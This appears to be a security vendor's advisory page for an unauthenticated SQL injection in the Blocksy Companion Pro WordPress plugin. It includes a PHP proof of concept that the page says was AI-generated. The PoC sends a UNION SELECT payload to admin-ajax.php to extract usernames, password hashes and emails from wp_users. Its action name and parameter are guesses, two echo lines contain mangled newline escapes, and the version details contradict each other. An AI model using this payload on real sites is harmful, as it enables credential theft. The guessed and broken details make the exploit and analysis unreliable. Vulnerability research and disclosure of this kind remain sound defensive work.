Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 28, 2026

CVE-2026-39596: Blocksy Companion Pro < 2.1.29 – Unauthenticated SQL Injection (blocksy-companion-pro)

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 2.1.29
Patched Version
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-39596 (metadata-based): This vulnerability affects the Blocksy Companion Pro plugin for WordPress in versions prior to 2.1.29. It is an unauthenticated SQL injection vulnerability with a CVSS score of 7.5 (High) due to network exploitability, low attack complexity, and high confidentiality impact without authentication requirements.

Root Cause: Based on the CWE-89 classification and the vulnerability description, the root cause is a failure to properly escape user-supplied parameters and a lack of prepared statements when constructing SQL queries. This is a classic SQL injection pattern where the plugin incorporates unsanitized user input directly into SQL queries. Atomic Edge analysis infers that the vulnerable code likely exists in an AJAX handler, REST API endpoint, or shortcode callback that processes user input (likely numeric or string parameters) without using $wpdb->prepare() or similar parameterized query methods. The insufficient escaping mentioned in the description suggests the plugin uses esc_sql() or similar escaping functions improperly, or omits escaping entirely on a specific parameter.

Exploitation: An unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a WordPress AJAX endpoint (commonly /wp-admin/admin-ajax.php) or a REST API route exposed by the plugin. The attack requires no authentication (CVSS:AV:N/AC:L/PR:N) and no user interaction (UI:N). The attacker appends SQL injection payloads to a vulnerable parameter, which then executes within the database. Typical vectors include parameter values like ‘ OR 1=1, UNION SELECT, or time-based blind injection techniques. Based on the plugin naming pattern (blocksy-companion-pro), the vulnerable action likely follows patterns such as ‘blocksy_companion_get_data’, ‘blocksy_ajax_search’, or similar handler names that process user-supplied data for database lookups.

Remediation: The recommended fix requires converting all database queries in the plugin’s code to use prepared statements with $wpdb->prepare() instead of string concatenation or injection with esc_sql(). For each variable parameter that enters a SQL query, the plugin must use parameterized placeholders (%d, %s, etc.) and pass the input values separately. Additionally, developers should implement strict input validation using WordPress sanitization functions like sanitize_text_field(), intval(), or absint() based on expected data types. The patched version (2.1.29) addresses this by removing the vulnerable code paths and implementing proper SQL query parameterization.

Impact: Successful exploitation allows unauthenticated attackers to extract sensitive information from the WordPress database. This includes user credentials (hashed passwords), user email addresses, session tokens, private post content, and configuration data (database credentials, salts). While the CVSS vector indicates no impact on integrity or availability (I:N/A:N), the confidentiality impact is high. Exposed hashed passwords can be cracked offline, potentially leading to privilege escalation. The exposed data could also enable further targeted attacks against the site or its users, including social engineering and account takeover.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-39596 - Blocksy Companion Pro < 2.1.29 - Unauthenticated SQL Injection

<?php
/**
 * Proof of Concept for CVE-2026-39596
 * 
 * This PoC demonstrates SQL injection via an AJAX handler exposed by
 * Blocksy Companion Pro. The exact vulnerable action is inferred but
 * likely follows patterns like 'blocksy_ajax_handler' or similar.
 *
 * Assumptions:
 * - The plugin registers wp_ajax_nopriv_* actions for unauthenticated access
 * - The AJAX action name follows convention: 'blocksy_companion_*'
 * - A parameter such as 'id' or 'data' is vulnerable
 */

$target_url = 'http://example.com'; // CHANGE THIS to target WordPress URL
$endpoint = '/wp-admin/admin-ajax.php';

// Infer the vulnerable action (common pattern for blocksy companion)
$vulnerable_action = 'blocksy_companion_get_posts'; // Adjust based on plugin documentation

// SQL injection payload: UNION-based extraction of admin credentials
// The schema assumes standard WordPress wp_users table
$sql_payload = "1 UNION SELECT user_login, user_pass, user_email, user_registered, user_activation_key, display_name FROM wp_users LIMIT 1 OFFSET 0";

$post_data = array(
    'action' => $vulnerable_action,
    'id' => $sql_payload, // The vulnerable parameter
    '_ajax_nonce' => '' // Nonce might not be required, typical for unauthenticated endpoints
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School